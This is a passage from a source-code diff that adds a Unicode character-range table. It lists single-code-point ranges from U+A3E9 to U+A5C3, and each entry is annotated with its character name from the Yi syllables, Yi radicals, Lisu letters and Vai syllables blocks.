+ [0xa3e9, 0xa3e9], /* YI SYLLABLE JUOX */
+ [0xa3ea, 0xa3ea], /* YI SYLLABLE JUO */
+ [0xa3eb, 0xa3eb], /* YI SYLLABLE JUOP */
+ [0xa3ec, 0xa3ec], /* YI SYLLABLE JOT */
+ [0xa3ed, 0xa3ed], /* YI SYLLABLE JOX */
+ [0xa3ee, 0xa3ee], /* YI SYLLABLE JO */
+ [0xa3ef, 0xa3ef], /* YI SYLLABLE JOP */
+ [0xa3f0, 0xa3f0], /* YI SYLLABLE JUT */
+ [0xa3f1, 0xa3f1], /* YI SYLLABLE JUX */
+ [0xa3f2, 0xa3f2], /* YI SYLLABLE JU */
+ [0xa3f3, 0xa3f3], /* YI SYLLABLE JUP */
+ [0xa3f4, 0xa3f4], /* YI SYLLABLE JURX */
+ [0xa3f5, 0xa3f5], /* YI SYLLABLE JUR */
+ [0xa3f6, 0xa3f6], /* YI SYLLABLE JYT */
+ [0xa3f7, 0xa3f7], /* YI SYLLABLE JYX */
+ [0xa3f8, 0xa3f8], /* YI SYLLABLE JY */
+ [0xa3f9, 0xa3f9], /* YI SYLLABLE JYP */
+ [0xa3fa, 0xa3fa], /* YI SYLLABLE JYRX */
+ [0xa3fb, 0xa3fb], /* YI SYLLABLE JYR */
+ [0xa3fc, 0xa3fc], /* YI SYLLABLE QIT */
+ [0xa3fd, 0xa3fd], /* YI SYLLABLE QIX */
+ [0xa3fe, 0xa3fe], /* YI SYLLABLE QI */
+ [0xa3ff, 0xa3ff], /* YI SYLLABLE QIP */
+ [0xa400, 0xa400], /* YI SYLLABLE QIET */
+ [0xa401, 0xa401], /* YI SYLLABLE QIEX */
+ [0xa402, 0xa402], /* YI SYLLABLE QIE */
+ [0xa403, 0xa403], /* YI SYLLABLE QIEP */
+ [0xa404, 0xa404], /* YI SYLLABLE QUOT */
+ [0xa405, 0xa405], /* YI SYLLABLE QUOX */
+ [0xa406, 0xa406], /* YI SYLLABLE QUO */
+ [0xa407, 0xa407], /* YI SYLLABLE QUOP */
+ [0xa408, 0xa408], /* YI SYLLABLE QOT */
+ [0xa409, 0xa409], /* YI SYLLABLE QOX */
+ [0xa40a, 0xa40a], /* YI SYLLABLE QO */
+ [0xa40b, 0xa40b], /* YI SYLLABLE QOP */
+ [0xa40c, 0xa40c], /* YI SYLLABLE QUT */
+ [0xa40d, 0xa40d], /* YI SYLLABLE QUX */
+ [0xa40e, 0xa40e], /* YI SYLLABLE QU */
+ [0xa40f, 0xa40f], /* YI SYLLABLE QUP */
+ [0xa410, 0xa410], /* YI SYLLABLE QURX */
+ [0xa411, 0xa411], /* YI SYLLABLE QUR */
+ [0xa412, 0xa412], /* YI SYLLABLE QYT */
+ [0xa413, 0xa413], /* YI SYLLABLE QYX */
+ [0xa414, 0xa414], /* YI SYLLABLE QY */
+ [0xa415, 0xa415], /* YI SYLLABLE QYP */
+ [0xa416, 0xa416], /* YI SYLLABLE QYRX */
+ [0xa417, 0xa417], /* YI SYLLABLE QYR */
+ [0xa418, 0xa418], /* YI SYLLABLE JJIT */
+ [0xa419, 0xa419], /* YI SYLLABLE JJIX */
+ [0xa41a, 0xa41a], /* YI SYLLABLE JJI */
+ [0xa41b, 0xa41b], /* YI SYLLABLE JJIP */
+ [0xa41c, 0xa41c], /* YI SYLLABLE JJIET */
+ [0xa41d, 0xa41d], /* YI SYLLABLE JJIEX */
+ [0xa41e, 0xa41e], /* YI SYLLABLE JJIE */
+ [0xa41f, 0xa41f], /* YI SYLLABLE JJIEP */
+ [0xa420, 0xa420], /* YI SYLLABLE JJUOX */
+ [0xa421, 0xa421], /* YI SYLLABLE JJUO */
+ [0xa422, 0xa422], /* YI SYLLABLE JJUOP */
+ [0xa423, 0xa423], /* YI SYLLABLE JJOT */
+ [0xa424, 0xa424], /* YI SYLLABLE JJOX */
+ [0xa425, 0xa425], /* YI SYLLABLE JJO */
+ [0xa426, 0xa426], /* YI SYLLABLE JJOP */
+ [0xa427, 0xa427], /* YI SYLLABLE JJUT */
+ [0xa428, 0xa428], /* YI SYLLABLE JJUX */
+ [0xa429, 0xa429], /* YI SYLLABLE JJU */
+ [0xa42a, 0xa42a], /* YI SYLLABLE JJUP */
+ [0xa42b, 0xa42b], /* YI SYLLABLE JJURX */
+ [0xa42c, 0xa42c], /* YI SYLLABLE JJUR */
+ [0xa42d, 0xa42d], /* YI SYLLABLE JJYT */
+ [0xa42e, 0xa42e], /* YI SYLLABLE JJYX */
+ [0xa42f, 0xa42f], /* YI SYLLABLE JJY */
+ [0xa430, 0xa430], /* YI SYLLABLE JJYP */
+ [0xa431, 0xa431], /* YI SYLLABLE NJIT */
+ [0xa432, 0xa432], /* YI SYLLABLE NJIX */
+ [0xa433, 0xa433], /* YI SYLLABLE NJI */
+ [0xa434, 0xa434], /* YI SYLLABLE NJIP */
+ [0xa435, 0xa435], /* YI SYLLABLE NJIET */
+ [0xa436, 0xa436], /* YI SYLLABLE NJIEX */
+ [0xa437, 0xa437], /* YI SYLLABLE NJIE */
+ [0xa438, 0xa438], /* YI SYLLABLE NJIEP */
+ [0xa439, 0xa439], /* YI SYLLABLE NJUOX */
+ [0xa43a, 0xa43a], /* YI SYLLABLE NJUO */
+ [0xa43b, 0xa43b], /* YI SYLLABLE NJOT */
+ [0xa43c, 0xa43c], /* YI SYLLABLE NJOX */
+ [0xa43d, 0xa43d], /* YI SYLLABLE NJO */
+ [0xa43e, 0xa43e], /* YI SYLLABLE NJOP */
+ [0xa43f, 0xa43f], /* YI SYLLABLE NJUX */
+ [0xa440, 0xa440], /* YI SYLLABLE NJU */
+ [0xa441, 0xa441], /* YI SYLLABLE NJUP */
+ [0xa442, 0xa442], /* YI SYLLABLE NJURX */
+ [0xa443, 0xa443], /* YI SYLLABLE NJUR */
+ [0xa444, 0xa444], /* YI SYLLABLE NJYT */
+ [0xa445, 0xa445], /* YI SYLLABLE NJYX */
+ [0xa446, 0xa446], /* YI SYLLABLE NJY */
+ [0xa447, 0xa447], /* YI SYLLABLE NJYP */
+ [0xa448, 0xa448], /* YI SYLLABLE NJYRX */
+ [0xa449, 0xa449], /* YI SYLLABLE NJYR */
+ [0xa44a, 0xa44a], /* YI SYLLABLE NYIT */
+ [0xa44b, 0xa44b], /* YI SYLLABLE NYIX */
+ [0xa44c, 0xa44c], /* YI SYLLABLE NYI */
+ [0xa44d, 0xa44d], /* YI SYLLABLE NYIP */
+ [0xa44e, 0xa44e], /* YI SYLLABLE NYIET */
+ [0xa44f, 0xa44f], /* YI SYLLABLE NYIEX */
+ [0xa450, 0xa450], /* YI SYLLABLE NYIE */
+ [0xa451, 0xa451], /* YI SYLLABLE NYIEP */
+ [0xa452, 0xa452], /* YI SYLLABLE NYUOX */
+ [0xa453, 0xa453], /* YI SYLLABLE NYUO */
+ [0xa454, 0xa454], /* YI SYLLABLE NYUOP */
+ [0xa455, 0xa455], /* YI SYLLABLE NYOT */
+ [0xa456, 0xa456], /* YI SYLLABLE NYOX */
+ [0xa457, 0xa457], /* YI SYLLABLE NYO */
+ [0xa458, 0xa458], /* YI SYLLABLE NYOP */
+ [0xa459, 0xa459], /* YI SYLLABLE NYUT */
+ [0xa45a, 0xa45a], /* YI SYLLABLE NYUX */
+ [0xa45b, 0xa45b], /* YI SYLLABLE NYU */
+ [0xa45c, 0xa45c], /* YI SYLLABLE NYUP */
+ [0xa45d, 0xa45d], /* YI SYLLABLE XIT */
+ [0xa45e, 0xa45e], /* YI SYLLABLE XIX */
+ [0xa45f, 0xa45f], /* YI SYLLABLE XI */
+ [0xa460, 0xa460], /* YI SYLLABLE XIP */
+ [0xa461, 0xa461], /* YI SYLLABLE XIET */
+ [0xa462, 0xa462], /* YI SYLLABLE XIEX */
+ [0xa463, 0xa463], /* YI SYLLABLE XIE */
+ [0xa464, 0xa464], /* YI SYLLABLE XIEP */
+ [0xa465, 0xa465], /* YI SYLLABLE XUOX */
+ [0xa466, 0xa466], /* YI SYLLABLE XUO */
+ [0xa467, 0xa467], /* YI SYLLABLE XOT */
+ [0xa468, 0xa468], /* YI SYLLABLE XOX */
+ [0xa469, 0xa469], /* YI SYLLABLE XO */
+ [0xa46a, 0xa46a], /* YI SYLLABLE XOP */
+ [0xa46b, 0xa46b], /* YI SYLLABLE XYT */
+ [0xa46c, 0xa46c], /* YI SYLLABLE XYX */
+ [0xa46d, 0xa46d], /* YI SYLLABLE XY */
+ [0xa46e, 0xa46e], /* YI SYLLABLE XYP */
+ [0xa46f, 0xa46f], /* YI SYLLABLE XYRX */
+ [0xa470, 0xa470], /* YI SYLLABLE XYR */
+ [0xa471, 0xa471], /* YI SYLLABLE YIT */
+ [0xa472, 0xa472], /* YI SYLLABLE YIX */
+ [0xa473, 0xa473], /* YI SYLLABLE YI */
+ [0xa474, 0xa474], /* YI SYLLABLE YIP */
+ [0xa475, 0xa475], /* YI SYLLABLE YIET */
+ [0xa476, 0xa476], /* YI SYLLABLE YIEX */
+ [0xa477, 0xa477], /* YI SYLLABLE YIE */
+ [0xa478, 0xa478], /* YI SYLLABLE YIEP */
+ [0xa479, 0xa479], /* YI SYLLABLE YUOT */
+ [0xa47a, 0xa47a], /* YI SYLLABLE YUOX */
+ [0xa47b, 0xa47b], /* YI SYLLABLE YUO */
+ [0xa47c, 0xa47c], /* YI SYLLABLE YUOP */
+ [0xa47d, 0xa47d], /* YI SYLLABLE YOT */
+ [0xa47e, 0xa47e], /* YI SYLLABLE YOX */
+ [0xa47f, 0xa47f], /* YI SYLLABLE YO */
+ [0xa480, 0xa480], /* YI SYLLABLE YOP */
+ [0xa481, 0xa481], /* YI SYLLABLE YUT */
+ [0xa482, 0xa482], /* YI SYLLABLE YUX */
+ [0xa483, 0xa483], /* YI SYLLABLE YU */
+ [0xa484, 0xa484], /* YI SYLLABLE YUP */
+ [0xa485, 0xa485], /* YI SYLLABLE YURX */
+ [0xa486, 0xa486], /* YI SYLLABLE YUR */
+ [0xa487, 0xa487], /* YI SYLLABLE YYT */
+ [0xa488, 0xa488], /* YI SYLLABLE YYX */
+ [0xa489, 0xa489], /* YI SYLLABLE YY */
+ [0xa48a, 0xa48a], /* YI SYLLABLE YYP */
+ [0xa48b, 0xa48b], /* YI SYLLABLE YYRX */
+ [0xa48c, 0xa48c], /* YI SYLLABLE YYR */
+ [0xa48d, 0xa48d],
+ [0xa48e, 0xa48e],
+ [0xa48f, 0xa48f],
+ [0xa490, 0xa490], /* YI RADICAL QOT */
+ [0xa491, 0xa491], /* YI RADICAL LI */
+ [0xa492, 0xa492], /* YI RADICAL KIT */
+ [0xa493, 0xa493], /* YI RADICAL NYIP */
+ [0xa494, 0xa494], /* YI RADICAL CYP */
+ [0xa495, 0xa495], /* YI RADICAL SSI */
+ [0xa496, 0xa496], /* YI RADICAL GGOP */
+ [0xa497, 0xa497], /* YI RADICAL GEP */
+ [0xa498, 0xa498], /* YI RADICAL MI */
+ [0xa499, 0xa499], /* YI RADICAL HXIT */
+ [0xa49a, 0xa49a], /* YI RADICAL LYR */
+ [0xa49b, 0xa49b], /* YI RADICAL BBUT */
+ [0xa49c, 0xa49c], /* YI RADICAL MOP */
+ [0xa49d, 0xa49d], /* YI RADICAL YO */
+ [0xa49e, 0xa49e], /* YI RADICAL PUT */
+ [0xa49f, 0xa49f], /* YI RADICAL HXUO */
+ [0xa4a0, 0xa4a0], /* YI RADICAL TAT */
+ [0xa4a1, 0xa4a1], /* YI RADICAL GA */
+ [0xa4a2, 0xa4a2], /* YI RADICAL ZUP */
+ [0xa4a3, 0xa4a3], /* YI RADICAL CYT */
+ [0xa4a4, 0xa4a4], /* YI RADICAL DDUR */
+ [0xa4a5, 0xa4a5], /* YI RADICAL BUR */
+ [0xa4a6, 0xa4a6], /* YI RADICAL GGUO */
+ [0xa4a7, 0xa4a7], /* YI RADICAL NYOP */
+ [0xa4a8, 0xa4a8], /* YI RADICAL TU */
+ [0xa4a9, 0xa4a9], /* YI RADICAL OP */
+ [0xa4aa, 0xa4aa], /* YI RADICAL JJUT */
+ [0xa4ab, 0xa4ab], /* YI RADICAL ZOT */
+ [0xa4ac, 0xa4ac], /* YI RADICAL PYT */
+ [0xa4ad, 0xa4ad], /* YI RADICAL HMO */
+ [0xa4ae, 0xa4ae], /* YI RADICAL YIT */
+ [0xa4af, 0xa4af], /* YI RADICAL VUR */
+ [0xa4b0, 0xa4b0], /* YI RADICAL SHY */
+ [0xa4b1, 0xa4b1], /* YI RADICAL VEP */
+ [0xa4b2, 0xa4b2], /* YI RADICAL ZA */
+ [0xa4b3, 0xa4b3], /* YI RADICAL JO */
+ [0xa4b4, 0xa4b4], /* YI RADICAL NZUP */
+ [0xa4b5, 0xa4b5], /* YI RADICAL JJY */
+ [0xa4b6, 0xa4b6], /* YI RADICAL GOT */
+ [0xa4b7, 0xa4b7], /* YI RADICAL JJIE */
+ [0xa4b8, 0xa4b8], /* YI RADICAL WO */
+ [0xa4b9, 0xa4b9], /* YI RADICAL DU */
+ [0xa4ba, 0xa4ba], /* YI RADICAL SHUR */
+ [0xa4bb, 0xa4bb], /* YI RADICAL LIE */
+ [0xa4bc, 0xa4bc], /* YI RADICAL CY */
+ [0xa4bd, 0xa4bd], /* YI RADICAL CUOP */
+ [0xa4be, 0xa4be], /* YI RADICAL CIP */
+ [0xa4bf, 0xa4bf], /* YI RADICAL HXOP */
+ [0xa4c0, 0xa4c0], /* YI RADICAL SHAT */
+ [0xa4c1, 0xa4c1], /* YI RADICAL ZUR */
+ [0xa4c2, 0xa4c2], /* YI RADICAL SHOP */
+ [0xa4c3, 0xa4c3], /* YI RADICAL CHE */
+ [0xa4c4, 0xa4c4], /* YI RADICAL ZZIET */
+ [0xa4c5, 0xa4c5], /* YI RADICAL NBIE */
+ [0xa4c6, 0xa4c6], /* YI RADICAL KE */
+ [0xa4c7, 0xa4c7],
+ [0xa4c8, 0xa4c8],
+ [0xa4c9, 0xa4c9],
+ [0xa4ca, 0xa4ca],
+ [0xa4cb, 0xa4cb],
+ [0xa4cc, 0xa4cc],
+ [0xa4cd, 0xa4cd],
+ [0xa4ce, 0xa4ce],
+ [0xa4cf, 0xa4cf],
+ [0xa4d0, 0xa4d0], /* LISU LETTER BA */
+ [0xa4d1, 0xa4d1], /* LISU LETTER PA */
+ [0xa4d2, 0xa4d2], /* LISU LETTER PHA */
+ [0xa4d3, 0xa4d3], /* LISU LETTER DA */
+ [0xa4d4, 0xa4d4], /* LISU LETTER TA */
+ [0xa4d5, 0xa4d5], /* LISU LETTER THA */
+ [0xa4d6, 0xa4d6], /* LISU LETTER GA */
+ [0xa4d7, 0xa4d7], /* LISU LETTER KA */
+ [0xa4d8, 0xa4d8], /* LISU LETTER KHA */
+ [0xa4d9, 0xa4d9], /* LISU LETTER JA */
+ [0xa4da, 0xa4da], /* LISU LETTER CA */
+ [0xa4db, 0xa4db], /* LISU LETTER CHA */
+ [0xa4dc, 0xa4dc], /* LISU LETTER DZA */
+ [0xa4dd, 0xa4dd], /* LISU LETTER TSA */
+ [0xa4de, 0xa4de], /* LISU LETTER TSHA */
+ [0xa4df, 0xa4df], /* LISU LETTER MA */
+ [0xa4e0, 0xa4e0], /* LISU LETTER NA */
+ [0xa4e1, 0xa4e1], /* LISU LETTER LA */
+ [0xa4e2, 0xa4e2], /* LISU LETTER SA */
+ [0xa4e3, 0xa4e3], /* LISU LETTER ZHA */
+ [0xa4e4, 0xa4e4], /* LISU LETTER ZA */
+ [0xa4e5, 0xa4e5], /* LISU LETTER NGA */
+ [0xa4e6, 0xa4e6], /* LISU LETTER HA */
+ [0xa4e7, 0xa4e7], /* LISU LETTER XA */
+ [0xa4e8, 0xa4e8], /* LISU LETTER HHA */
+ [0xa4e9, 0xa4e9], /* LISU LETTER FA */
+ [0xa4ea, 0xa4ea], /* LISU LETTER WA */
+ [0xa4eb, 0xa4eb], /* LISU LETTER SHA */
+ [0xa4ec, 0xa4ec], /* LISU LETTER YA */
+ [0xa4ed, 0xa4ed], /* LISU LETTER GHA */
+ [0xa4ee, 0xa4ee], /* LISU LETTER A */
+ [0xa4ef, 0xa4ef], /* LISU LETTER AE */
+ [0xa4f0, 0xa4f0], /* LISU LETTER E */
+ [0xa4f1, 0xa4f1], /* LISU LETTER EU */
+ [0xa4f2, 0xa4f2], /* LISU LETTER I */
+ [0xa4f3, 0xa4f3], /* LISU LETTER O */
+ [0xa4f4, 0xa4f4], /* LISU LETTER U */
+ [0xa4f5, 0xa4f5], /* LISU LETTER UE */
+ [0xa4f6, 0xa4f6], /* LISU LETTER UH */
+ [0xa4f7, 0xa4f7], /* LISU LETTER OE */
+ [0xa4f8, 0xa4f8], /* LISU LETTER TONE MYA TI */
+ [0xa4f9, 0xa4f9], /* LISU LETTER TONE NA PO */
+ [0xa4fa, 0xa4fa], /* LISU LETTER TONE MYA CYA */
+ [0xa4fb, 0xa4fb], /* LISU LETTER TONE MYA BO */
+ [0xa4fc, 0xa4fc], /* LISU LETTER TONE MYA NA */
+ [0xa4fd, 0xa4fd], /* LISU LETTER TONE MYA JEU */
+ [0xa4fe, 0xa4fe], /* LISU PUNCTUATION COMMA */
+ [0xa4ff, 0xa4ff], /* LISU PUNCTUATION FULL STOP */
+ [0xa500, 0xa500], /* VAI SYLLABLE EE */
+ [0xa501, 0xa501], /* VAI SYLLABLE EEN */
+ [0xa502, 0xa502], /* VAI SYLLABLE HEE */
+ [0xa503, 0xa503], /* VAI SYLLABLE WEE */
+ [0xa504, 0xa504], /* VAI SYLLABLE WEEN */
+ [0xa505, 0xa505], /* VAI SYLLABLE PEE */
+ [0xa506, 0xa506], /* VAI SYLLABLE BHEE */
+ [0xa507, 0xa507], /* VAI SYLLABLE BEE */
+ [0xa508, 0xa508], /* VAI SYLLABLE MBEE */
+ [0xa509, 0xa509], /* VAI SYLLABLE KPEE */
+ [0xa50a, 0xa50a], /* VAI SYLLABLE MGBEE */
+ [0xa50b, 0xa50b], /* VAI SYLLABLE GBEE */
+ [0xa50c, 0xa50c], /* VAI SYLLABLE FEE */
+ [0xa50d, 0xa50d], /* VAI SYLLABLE VEE */
+ [0xa50e, 0xa50e], /* VAI SYLLABLE TEE */
+ [0xa50f, 0xa50f], /* VAI SYLLABLE THEE */
+ [0xa510, 0xa510], /* VAI SYLLABLE DHEE */
+ [0xa511, 0xa511], /* VAI SYLLABLE DHHEE */
+ [0xa512, 0xa512], /* VAI SYLLABLE LEE */
+ [0xa513, 0xa513], /* VAI SYLLABLE REE */
+ [0xa514, 0xa514], /* VAI SYLLABLE DEE */
+ [0xa515, 0xa515], /* VAI SYLLABLE NDEE */
+ [0xa516, 0xa516], /* VAI SYLLABLE SEE */
+ [0xa517, 0xa517], /* VAI SYLLABLE SHEE */
+ [0xa518, 0xa518], /* VAI SYLLABLE ZEE */
+ [0xa519, 0xa519], /* VAI SYLLABLE ZHEE */
+ [0xa51a, 0xa51a], /* VAI SYLLABLE CEE */
+ [0xa51b, 0xa51b], /* VAI SYLLABLE JEE */
+ [0xa51c, 0xa51c], /* VAI SYLLABLE NJEE */
+ [0xa51d, 0xa51d], /* VAI SYLLABLE YEE */
+ [0xa51e, 0xa51e], /* VAI SYLLABLE KEE */
+ [0xa51f, 0xa51f], /* VAI SYLLABLE NGGEE */
+ [0xa520, 0xa520], /* VAI SYLLABLE GEE */
+ [0xa521, 0xa521], /* VAI SYLLABLE MEE */
+ [0xa522, 0xa522], /* VAI SYLLABLE NEE */
+ [0xa523, 0xa523], /* VAI SYLLABLE NYEE */
+ [0xa524, 0xa524], /* VAI SYLLABLE I */
+ [0xa525, 0xa525], /* VAI SYLLABLE IN */
+ [0xa526, 0xa526], /* VAI SYLLABLE HI */
+ [0xa527, 0xa527], /* VAI SYLLABLE HIN */
+ [0xa528, 0xa528], /* VAI SYLLABLE WI */
+ [0xa529, 0xa529], /* VAI SYLLABLE WIN */
+ [0xa52a, 0xa52a], /* VAI SYLLABLE PI */
+ [0xa52b, 0xa52b], /* VAI SYLLABLE BHI */
+ [0xa52c, 0xa52c], /* VAI SYLLABLE BI */
+ [0xa52d, 0xa52d], /* VAI SYLLABLE MBI */
+ [0xa52e, 0xa52e], /* VAI SYLLABLE KPI */
+ [0xa52f, 0xa52f], /* VAI SYLLABLE MGBI */
+ [0xa530, 0xa530], /* VAI SYLLABLE GBI */
+ [0xa531, 0xa531], /* VAI SYLLABLE FI */
+ [0xa532, 0xa532], /* VAI SYLLABLE VI */
+ [0xa533, 0xa533], /* VAI SYLLABLE TI */
+ [0xa534, 0xa534], /* VAI SYLLABLE THI */
+ [0xa535, 0xa535], /* VAI SYLLABLE DHI */
+ [0xa536, 0xa536], /* VAI SYLLABLE DHHI */
+ [0xa537, 0xa537], /* VAI SYLLABLE LI */
+ [0xa538, 0xa538], /* VAI SYLLABLE RI */
+ [0xa539, 0xa539], /* VAI SYLLABLE DI */
+ [0xa53a, 0xa53a], /* VAI SYLLABLE NDI */
+ [0xa53b, 0xa53b], /* VAI SYLLABLE SI */
+ [0xa53c, 0xa53c], /* VAI SYLLABLE SHI */
+ [0xa53d, 0xa53d], /* VAI SYLLABLE ZI */
+ [0xa53e, 0xa53e], /* VAI SYLLABLE ZHI */
+ [0xa53f, 0xa53f], /* VAI SYLLABLE CI */
+ [0xa540, 0xa540], /* VAI SYLLABLE JI */
+ [0xa541, 0xa541], /* VAI SYLLABLE NJI */
+ [0xa542, 0xa542], /* VAI SYLLABLE YI */
+ [0xa543, 0xa543], /* VAI SYLLABLE KI */
+ [0xa544, 0xa544], /* VAI SYLLABLE NGGI */
+ [0xa545, 0xa545], /* VAI SYLLABLE GI */
+ [0xa546, 0xa546], /* VAI SYLLABLE MI */
+ [0xa547, 0xa547], /* VAI SYLLABLE NI */
+ [0xa548, 0xa548], /* VAI SYLLABLE NYI */
+ [0xa549, 0xa549], /* VAI SYLLABLE A */
+ [0xa54a, 0xa54a], /* VAI SYLLABLE AN */
+ [0xa54b, 0xa54b], /* VAI SYLLABLE NGAN */
+ [0xa54c, 0xa54c], /* VAI SYLLABLE HA */
+ [0xa54d, 0xa54d], /* VAI SYLLABLE HAN */
+ [0xa54e, 0xa54e], /* VAI SYLLABLE WA */
+ [0xa54f, 0xa54f], /* VAI SYLLABLE WAN */
+ [0xa550, 0xa550], /* VAI SYLLABLE PA */
+ [0xa551, 0xa551], /* VAI SYLLABLE BHA */
+ [0xa552, 0xa552], /* VAI SYLLABLE BA */
+ [0xa553, 0xa553], /* VAI SYLLABLE MBA */
+ [0xa554, 0xa554], /* VAI SYLLABLE KPA */
+ [0xa555, 0xa555], /* VAI SYLLABLE KPAN */
+ [0xa556, 0xa556], /* VAI SYLLABLE MGBA */
+ [0xa557, 0xa557], /* VAI SYLLABLE GBA */
+ [0xa558, 0xa558], /* VAI SYLLABLE FA */
+ [0xa559, 0xa559], /* VAI SYLLABLE VA */
+ [0xa55a, 0xa55a], /* VAI SYLLABLE TA */
+ [0xa55b, 0xa55b], /* VAI SYLLABLE THA */
+ [0xa55c, 0xa55c], /* VAI SYLLABLE DHA */
+ [0xa55d, 0xa55d], /* VAI SYLLABLE DHHA */
+ [0xa55e, 0xa55e], /* VAI SYLLABLE LA */
+ [0xa55f, 0xa55f], /* VAI SYLLABLE RA */
+ [0xa560, 0xa560], /* VAI SYLLABLE DA */
+ [0xa561, 0xa561], /* VAI SYLLABLE NDA */
+ [0xa562, 0xa562], /* VAI SYLLABLE SA */
+ [0xa563, 0xa563], /* VAI SYLLABLE SHA */
+ [0xa564, 0xa564], /* VAI SYLLABLE ZA */
+ [0xa565, 0xa565], /* VAI SYLLABLE ZHA */
+ [0xa566, 0xa566], /* VAI SYLLABLE CA */
+ [0xa567, 0xa567], /* VAI SYLLABLE JA */
+ [0xa568, 0xa568], /* VAI SYLLABLE NJA */
+ [0xa569, 0xa569], /* VAI SYLLABLE YA */
+ [0xa56a, 0xa56a], /* VAI SYLLABLE KA */
+ [0xa56b, 0xa56b], /* VAI SYLLABLE KAN */
+ [0xa56c, 0xa56c], /* VAI SYLLABLE NGGA */
+ [0xa56d, 0xa56d], /* VAI SYLLABLE GA */
+ [0xa56e, 0xa56e], /* VAI SYLLABLE MA */
+ [0xa56f, 0xa56f], /* VAI SYLLABLE NA */
+ [0xa570, 0xa570], /* VAI SYLLABLE NYA */
+ [0xa571, 0xa571], /* VAI SYLLABLE OO */
+ [0xa572, 0xa572], /* VAI SYLLABLE OON */
+ [0xa573, 0xa573], /* VAI SYLLABLE HOO */
+ [0xa574, 0xa574], /* VAI SYLLABLE WOO */
+ [0xa575, 0xa575], /* VAI SYLLABLE WOON */
+ [0xa576, 0xa576], /* VAI SYLLABLE POO */
+ [0xa577, 0xa577], /* VAI SYLLABLE BHOO */
+ [0xa578, 0xa578], /* VAI SYLLABLE BOO */
+ [0xa579, 0xa579], /* VAI SYLLABLE MBOO */
+ [0xa57a, 0xa57a], /* VAI SYLLABLE KPOO */
+ [0xa57b, 0xa57b], /* VAI SYLLABLE MGBOO */
+ [0xa57c, 0xa57c], /* VAI SYLLABLE GBOO */
+ [0xa57d, 0xa57d], /* VAI SYLLABLE FOO */
+ [0xa57e, 0xa57e], /* VAI SYLLABLE VOO */
+ [0xa57f, 0xa57f], /* VAI SYLLABLE TOO */
+ [0xa580, 0xa580], /* VAI SYLLABLE THOO */
+ [0xa581, 0xa581], /* VAI SYLLABLE DHOO */
+ [0xa582, 0xa582], /* VAI SYLLABLE DHHOO */
+ [0xa583, 0xa583], /* VAI SYLLABLE LOO */
+ [0xa584, 0xa584], /* VAI SYLLABLE ROO */
+ [0xa585, 0xa585], /* VAI SYLLABLE DOO */
+ [0xa586, 0xa586], /* VAI SYLLABLE NDOO */
+ [0xa587, 0xa587], /* VAI SYLLABLE SOO */
+ [0xa588, 0xa588], /* VAI SYLLABLE SHOO */
+ [0xa589, 0xa589], /* VAI SYLLABLE ZOO */
+ [0xa58a, 0xa58a], /* VAI SYLLABLE ZHOO */
+ [0xa58b, 0xa58b], /* VAI SYLLABLE COO */
+ [0xa58c, 0xa58c], /* VAI SYLLABLE JOO */
+ [0xa58d, 0xa58d], /* VAI SYLLABLE NJOO */
+ [0xa58e, 0xa58e], /* VAI SYLLABLE YOO */
+ [0xa58f, 0xa58f], /* VAI SYLLABLE KOO */
+ [0xa590, 0xa590], /* VAI SYLLABLE NGGOO */
+ [0xa591, 0xa591], /* VAI SYLLABLE GOO */
+ [0xa592, 0xa592], /* VAI SYLLABLE MOO */
+ [0xa593, 0xa593], /* VAI SYLLABLE NOO */
+ [0xa594, 0xa594], /* VAI SYLLABLE NYOO */
+ [0xa595, 0xa595], /* VAI SYLLABLE U */
+ [0xa596, 0xa596], /* VAI SYLLABLE UN */
+ [0xa597, 0xa597], /* VAI SYLLABLE HU */
+ [0xa598, 0xa598], /* VAI SYLLABLE HUN */
+ [0xa599, 0xa599], /* VAI SYLLABLE WU */
+ [0xa59a, 0xa59a], /* VAI SYLLABLE WUN */
+ [0xa59b, 0xa59b], /* VAI SYLLABLE PU */
+ [0xa59c, 0xa59c], /* VAI SYLLABLE BHU */
+ [0xa59d, 0xa59d], /* VAI SYLLABLE BU */
+ [0xa59e, 0xa59e], /* VAI SYLLABLE MBU */
+ [0xa59f, 0xa59f], /* VAI SYLLABLE KPU */
+ [0xa5a0, 0xa5a0], /* VAI SYLLABLE MGBU */
+ [0xa5a1, 0xa5a1], /* VAI SYLLABLE GBU */
+ [0xa5a2, 0xa5a2], /* VAI SYLLABLE FU */
+ [0xa5a3, 0xa5a3], /* VAI SYLLABLE VU */
+ [0xa5a4, 0xa5a4], /* VAI SYLLABLE TU */
+ [0xa5a5, 0xa5a5], /* VAI SYLLABLE THU */
+ [0xa5a6, 0xa5a6], /* VAI SYLLABLE DHU */
+ [0xa5a7, 0xa5a7], /* VAI SYLLABLE DHHU */
+ [0xa5a8, 0xa5a8], /* VAI SYLLABLE LU */
+ [0xa5a9, 0xa5a9], /* VAI SYLLABLE RU */
+ [0xa5aa, 0xa5aa], /* VAI SYLLABLE DU */
+ [0xa5ab, 0xa5ab], /* VAI SYLLABLE NDU */
+ [0xa5ac, 0xa5ac], /* VAI SYLLABLE SU */
+ [0xa5ad, 0xa5ad], /* VAI SYLLABLE SHU */
+ [0xa5ae, 0xa5ae], /* VAI SYLLABLE ZU */
+ [0xa5af, 0xa5af], /* VAI SYLLABLE ZHU */
+ [0xa5b0, 0xa5b0], /* VAI SYLLABLE CU */
+ [0xa5b1, 0xa5b1], /* VAI SYLLABLE JU */
+ [0xa5b2, 0xa5b2], /* VAI SYLLABLE NJU */
+ [0xa5b3, 0xa5b3], /* VAI SYLLABLE YU */
+ [0xa5b4, 0xa5b4], /* VAI SYLLABLE KU */
+ [0xa5b5, 0xa5b5], /* VAI SYLLABLE NGGU */
+ [0xa5b6, 0xa5b6], /* VAI SYLLABLE GU */
+ [0xa5b7, 0xa5b7], /* VAI SYLLABLE MU */
+ [0xa5b8, 0xa5b8], /* VAI SYLLABLE NU */
+ [0xa5b9, 0xa5b9], /* VAI SYLLABLE NYU */
+ [0xa5ba, 0xa5ba], /* VAI SYLLABLE O */
+ [0xa5bb, 0xa5bb], /* VAI SYLLABLE ON */
+ [0xa5bc, 0xa5bc], /* VAI SYLLABLE NGON */
+ [0xa5bd, 0xa5bd], /* VAI SYLLABLE HO */
+ [0xa5be, 0xa5be], /* VAI SYLLABLE HON */
+ [0xa5bf, 0xa5bf], /* VAI SYLLABLE WO */
+ [0xa5c0, 0xa5c0], /* VAI SYLLABLE WON */
+ [0xa5c1, 0xa5c1], /* VAI SYLLABLE PO */
+ [0xa5c2, 0xa5c2], /* VAI SYLLABLE BHO */
+ [0xa5c3, 0xa5c3], /* VAI SYLLABLE BO */
